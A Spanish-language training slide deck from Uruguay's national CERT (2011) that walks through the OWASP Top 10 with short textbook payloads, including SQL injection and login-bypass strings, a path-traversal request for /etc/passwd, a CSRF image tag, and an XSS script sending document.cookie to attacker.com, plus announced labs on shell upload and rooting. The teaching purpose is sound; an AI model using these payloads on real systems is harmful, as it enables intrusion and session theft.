Presentación ciclo de capacitaciones CERTuy 2011.

1. Obteniendo el root mediante
técnica de ataque Web
Diciembre, 2011
Mauro Rossi – Andrés Gómez
1

2. CERTuy
Presidencia de la
• Centro Nacional de Gestión de Incidentes República
de Seguridad Informática.
• Creado por Ley en 2008. AGESIC
• Cometidos:
CERTuy
– Proteger los sistemas informáticos
críticos del Estado.
– Difundir buenas prácticas en la
materia. Ministerio de
….
Ministerio de
Economía Defensa

3. Los oradores
Andrés Gómez: Productor de software, administrador de base de datos, gestor
de proyectos en una variedad de aplicaciones de
negocio, pentester, administrador de sistemas, arquitecto de sistemas.
Particularmente interesado en la seguridad y gestión de TI.
Cuándo no está trabajando, Andrés pasa su tiempo libre vulnerando
aplicaciones y reportando exploits con sus correspondientes parches.
Mauro Rossi: 7 años de experiencia en administración de servidores Linux
(SuSE, Debian, Gentoo, Red Hat, Fedora, CentOS, Ubuntu, Arch Linux). Shell
coder, pentester de servidores de hosting y aplicaciones Web. Parallels Plesk
Beta Tester.
Cuándo no está trabajando, Mauro se divierte entrenando Mai Tai.

4. Para alinearnos...
• Vulnerabilidad: En seguridad informática una vulnerabilidad se define como
una debilidad de un sistema que permite a un atacante comprometer la
confidencialidad, integridad y/o disponibilidad de datos.
• Hacker: Aquellos que depuran y arreglan errores en los sistemas.
• BlackHat: concierne principalmente a entradas remotas no autorizadas por
medio de redes de comunicación como Internet.
• OWASP: Open Web Application Security Project.
Organización sin fines de lucro con el objetivo de mejorar la seguridad de
aplicaciones. La misión de OWASP es hacer visible los verdaderos riesgos de
seguridad de las aplicaciones para que las personas y organizaciones puedan
tomar deiciones informadas. OWASP es de participación libre y todo el material
está disponible de forma gratuita bajo licencias open source.

5. Top 10 OWASP
• INYECCIONES: Las fallas de inyección ocurren cuando una aplicación envía
datos no confiables a un interprete. Las fallas de inyección son muy
prevalentes, particularmente en código legado, el cual es frecuentemente
encontrado en consultas SQL, LDAP, XPath, comandos de SO, argumentos de
programa, etc.
• INYECCION SQL: Se da por la falta o errores en la validación de input del
usuario, o falta de filtros de caracteres de escape.
Ejemplo:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") +"'";
Ataque:
http://example.com/app/accountView?id=' or '1'='1

6. • Blind SQL Injection: Blind porque los resultados directos de la inyección no
son visibles para el atacante. El sitio no muestra datos pero se comporta de
manera diferente dependiendo del resultado de la query inyectada.
Ejemplo:
SELECT `booktitle` FROM `booklist` WHERE `bookId` = 'OOk14cd' AND '1'='1';
Es verdadero, por lo que se comporta de forma normal.
SELECT `booktitle` FROM `booklist` WHERE `bookId` = 'OOk14cd' AND '1'='2';
Es falso, el sitio se comporta de forma irregular.
• Una falla de inyección puede resultar en perdida o corrupción de
datos, falta de integridad, o negación de acceso. Una falla de inyección
puede algunas veces llevar a la toma de posesión completa del servidor.

7. • Cross Site Scripting: Un ataque XSS ocurre cuando es posible enviar datos
no validados a un navegador web. XSS permite a los atacantes ejecutar
scripts en el navegador de la victima lo que puede causar "session
hijacking", modificación del codigo del sitio web, o redirigir al usuario a un
sitio malicioso, entre otras cosas.
Ejemplo:
(String) page += "<input name='creditcard' type='TEXT‘ value='" +
request.getParameter("CC") + "'>";
Se inserta el siguiente script en el parametro CC:
'><script>document.location='http://www.attacker.com/cgi-
bin/cookie.cgi?foo='+document.cookie</script>'.

8. • Autenticación y manejo de sesiones: Fallos en la implementacion de
funcioens de autenticación y manejo de sesiones que permiten a un
atacante bypassear logins, obtener passwords, keys, cookies de sesiones, o
ejecutar código utilizando credenciales de otro usuario.
Ejemplo:
http://[Victim]/path/admin.php
Bypass de login y password via SQLi:
ID: ' or '1=1
Password: ' or '1=1

9. • Local File Inclusion: Esto ocurre cuando un programador hace referencia a
un objeto o archivo interno y lo expone a través de una aplicación de acceso
publico. Sin ningún tipo de control de acceso, los atacantes pueden
manipular estos objetos y obtener datos confidenciales.
Ejemplo:
http://example.com/app/accountInfo?acct=notmyacct
http://example.com/app/accountInfo?loginscript=../../../../etc/passwd

10. • Cross-site Request Foregy: Este tipo de ataque ocurre cuando se le fuerza a
un usuario a enviar un request HTTP (que incluye una cookie de sesión)
hacia una aplicación vulnerable. Esto permite que el atacante genere
requests desde el navegador de la victima las cuales la aplicación va a tomar
como válidas.
Ejemplo:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4
673243243
<img
src="http://example.com/app/transferFunds?amount=1500&destinationAccou
nt=attackersAcct#“width="0" height="0" />

11. • Errores de configuración y versiones de software: Mantener la seguridad
de los sistemas implica que se utilicen configuraciones para las aplicaciones,
frameworks, servidores web, servidores de base de datos, etc, que tengan
en cuenta la seguridad de las mismas. Muchas veces las configuraciones
por defecto no son seguras. También es importante actualizar las versiones
de software regularmente y aplicar parches de vulnerabilidades.
Ejemplo:
Passwords por defecto.
No se elimina directorio de instalacion de aplicaciones (ej: “installation”
joomla).
Errores en seteos de permisos (lectura de archivos de config).

12. • Errores de criptografía: Muchas aplicaciones web no protegen
adecuadamente los datos como los números de tarjetas de
crédito, credenciales de autenticación, etc. Esto permite que un atacante
pueda robar o modificar esos datos facilmente y utilizarlos para delitos de
fraude o robo de identidad.
Ejemplo:
Base de datos con passwords en texto plano.
Uso de algoritmos de hashing vulnerables.

13. • Restricciones de acceso a URL: Es frecuente que las aplicaciones web
chequean permisos de acceso a URLs antes de mostrar ciertos links, pero
muchas veces no vuelven a hacerlo una vez que se obtuvo el link y permiten
acceder a esas URL sin ningún control.
Ejemplo:
Para obtener el link a http://vuln.site.com/admin_cp_hidden/ necesito login
pero /admin_cp_hidden/ no requiere credenciales.

14. • Insuficiente protección de Layer4: Muy frecuentemente las aplicaciones
web no autentican, cifran o protegen la confidencialidad e integridad del
tráfico de red. Esto permite entre otras cosas el uso de sniffers para la
obtención de datos confidenciales.
Ejemplo:
Login a una webapp sin usar HTTPS. Envío mis credenciales en texto plano y un
atacante las obtiene mediante sniffing.

15. • Redirecciones sin validación (RFI): Varias aplicaciones web redirigen a los
usuarios a sitios web de terceros sin validar el origen de la URL de
redireccion. De esta forma un atacante puede redirigir a sus victimas a sitios
de phishing o sitios que contienen malware sin pasar por ningún control.
Ejemplo:
http://www.example.com/redirect.jsp?url=evil.com

16. HORA DE DIVERTIRSE….
VAMOS A VULNERAR! 
Práctico de inyecciones SQL
(50 minutos).

17. SEGUIMOS DIVIRTIENDONOS….
HORA DE JUGAR A SER ROOT! 
Práctico de uplodeo de shell y rooteo del servidor
(50 minutos).

18. ES DIVERTIDO SER MALO, PERO….
AHORA VAMOS A PROTEGER!!!
Presentación y Práctico de mod_security. Ataque y Defensa.
(90 minutos).

19. www.cert.uy
cert@cert.uy
mauro.rossi@security-pentest.com
andres.gomez@security-pentest.com